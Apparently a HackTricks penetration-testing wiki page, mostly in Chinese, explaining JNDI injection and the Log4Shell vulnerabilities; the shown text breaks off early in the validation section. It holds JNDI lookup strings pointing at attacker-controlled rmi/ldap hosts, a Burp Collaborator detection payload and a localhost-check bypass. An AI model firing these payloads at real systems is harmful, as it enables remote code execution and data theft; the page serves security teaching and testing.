hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • 基本信息
  • JNDI命名引用
  • JNDI示例
  • CORBA概述
  • RMI上下文
  • LDAP
  • Log4Shell漏洞
  • Log4Shell相关CVE概述
  • CVE-2021-44228 [关键]
  • CVE-2021-45046 [关键]
  • CVE-2021-4104 [高]
  • CVE-2021-42550 [中等]
  • CVE-2021-45105 [高]
  • CVE-2021-44832
  • Log4Shell利用
  • 发现
  • 验证
  • RCE 信息
  • RCE - 使用自定义有效载荷的 Marshalsec
  • RCE - JNDIExploit
  • RCE - JNDI-Exploit-Kit
  • RCE - JNDI注入利用加强版
  • RCE - ysoserial 和 JNDI利用工具包
  • 绕过方式
  • 自动扫描器
  • 实验室测试
  • Log4Shell 漏洞利用后
  • 环境查找
  • 异常中的数据窃取
  • 转换模式异常
  • 转换模式正则表达式
  • 参考资料
  1. Pentesting Web
  2. Deserialization

JNDI - Java Naming and Directory Interface & Log4Shell

上一页Python Yaml Deserialization下一页Domain/Subdomain takeover

最后更新于1年前

从零开始学习AWS黑客技术,成为专家 !

支持HackTricks的其他方式:

  • 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看!

  • 获取

  • 探索,我们的独家

  • 加入 💬 或 或在Twitter上关注我们 🐦 。

  • 通过向和 github仓库提交PR来分享您的黑客技巧。

Try Hard Security Group


基本信息

自上世纪90年代末集成到Java中的JNDI作为目录服务,使Java程序能够通过命名系统定位数据或对象。它通过服务提供者接口(SPIs)支持各种目录服务,允许从不同系统(包括远程Java对象)检索数据。常见的SPI包括CORBA COS、Java RMI Registry和LDAP。

JNDI命名引用

Java对象可以使用JNDI命名引用存储和检索,有两种形式:

  • 引用地址:指定对象的位置(例如,rmi://server/ref),允许直接从指定地址检索。

  • 远程工厂:引用远程工厂类。访问时,该类将从远程位置下载并实例化。

然而,这种机制可能会被利用,潜在地导致加载和执行任意代码。作为对策:

  • RMI:从JDK 7u21起,默认为java.rmi.server.useCodeabseOnly = true,限制远程对象加载。安全管理器进一步限制可加载的内容。

  • LDAP:从JDK 6u141、7u131、8u121起,默认为com.sun.jndi.ldap.object.trustURLCodebase = false,阻止执行远程加载的Java对象。如果设置为true,则可以在没有安全管理器监督的情况下执行远程代码。

  • CORBA:没有特定属性,但安全管理器始终处于活动状态。

然而,负责解析JNDI链接的命名管理器缺乏内置安全机制,可能允许从任何来源检索对象。这会带来风险,因为可以绕过RMI、LDAP和CORBA保护,导致加载任意Java对象或利用现有应用程序组件(小工具)运行恶意代码。

可利用的URL示例包括:

  • rmi://attacker-server/bar

  • ldap://attacker-server/bar

  • iiop://attacker-server/bar

尽管有保护措施,漏洞仍然存在,主要是由于缺乏对从不受信任来源加载JNDI的保护以及绕过现有保护的可能性。

JNDI示例

即使您已设置了**PROVIDER_URL**,您也可以在查找中指定不同的URL并访问:ctx.lookup("<attacker-controlled-url>"),这是攻击者将滥用以从由他控制的系统加载任意对象的方法。

CORBA概述

CORBA(通用对象请求代理体系结构)使用**可互操作对象引用(IOR)**来唯一标识远程对象。此引用包括关键信息,如:

  • 类型ID:接口的唯一标识符。

  • 代码库:用于获取存根类的URL。

值得注意的是,CORBA本身并不易受攻击。确保安全通常涉及:

  • 安装安全管理器。

  • 配置安全管理器以允许连接到潜在恶意代码库。可以通过以下方式实现:

  • Socket权限,例如,permissions java.net.SocketPermission "*:1098-1099", "connect";。

  • 文件读取权限,可以是全局的(permission java.io.FilePermission "<<ALL FILES>>", "read";)或针对可能放置恶意文件的特定目录。

然而,一些供应商政策可能宽松,允许默认情况下进行这些连接。

RMI上下文

对于RMI(远程方法调用),情况略有不同。与CORBA一样,默认情况下限制了任意类的下载。要利用RMI,通常需要绕过安全管理器,这也适用于CORBA。

LDAP

首先,我们需要区分搜索和查找。 搜索将使用类似ldap://localhost:389/o=JNDITutorial的URL来查找LDAP服务器中的JNDITutorial对象并检索其属性。 查找用于命名服务,因为我们想要获取绑定到名称的任何内容。

如果LDAP搜索使用了SearchControls.setReturningObjFlag()并设置为true,则返回的对象将被重建。

因此,有几种攻击这些选项的方法。 攻击者可以在LDAP记录中植入有效负载,这些有效负载将在收集它们的系统中执行(如果您可以访问LDAP服务器,则非常有用,可以危害数十台机器)。另一种利用方法是在LDAP搜索中执行中间人攻击,例如。

如果您可以让应用程序解析JNDI LDAP URL,则可以控制将被搜索的LDAP,并且可以发送回利用(log4shell)。

反序列化利用

利用被序列化,将进行反序列化。 如果trustURLCodebase为true,攻击者可以在代码库中提供自己的类;如果不是,则需要在类路径中滥用小工具。

JNDI引用利用

更容易攻击此LDAP使用JavaFactory引用:

Log4Shell漏洞

如果密钥中存在**“:”**,例如${jndi:ldap://example.com/a},则没有前缀,LDAP服务器将查询对象。这些查找可以用于Log4j的配置以及记录行时。

因此,要实现RCE,只需有一个受用户控制的信息的易受攻击版本的Log4j。由于这是Java应用程序广泛使用的库,用于记录信息(包括面向互联网的应用程序),因此很常见使用log4j记录例如接收的HTTP标头,如User-Agent。但是,log4j不仅用于记录HTTP信息,还用于记录任何输入和开发人员指定的数据。

Log4Shell相关CVE概述

影响非默认配置中使用JMSAppender的Log4j 1.x版本,这个CVE是一个未受信任的反序列化漏洞。1.x分支没有可用的修复程序,该分支已经终止生命周期,建议升级到log4j-core 2.17.0。

这个漏洞影响Logback日志框架,这是Log4j 1.x的后继者。此前被认为是安全的框架被发现存在漏洞,新版本(1.3.0-alpha11和1.2.9)已发布以解决此问题。

CVE-2021-45105 [高]

Log4Shell利用

发现

如果未受保护,这个漏洞很容易被发现,因为它会向您在有效载荷中指定的地址发送至少一个DNS请求。因此,像以下这样的有效载荷:

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}(使用Burp Suite)

请注意,即使收到DNS请求,也不意味着应用程序是可利用的(甚至是有漏洞的),您需要尝试利用它。

请记住,要利用版本2.15,您需要添加本地主机检查绕过:${jndi:ldap://127.0.0.1#...}

本地发现

搜索本地易受攻击版本的库:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

验证

之前列出的一些平台将允许您插入一些变量数据,当请求时将被记录。 这对两件事情非常有用:

  • 验证漏洞

  • 滥用漏洞窃取信息

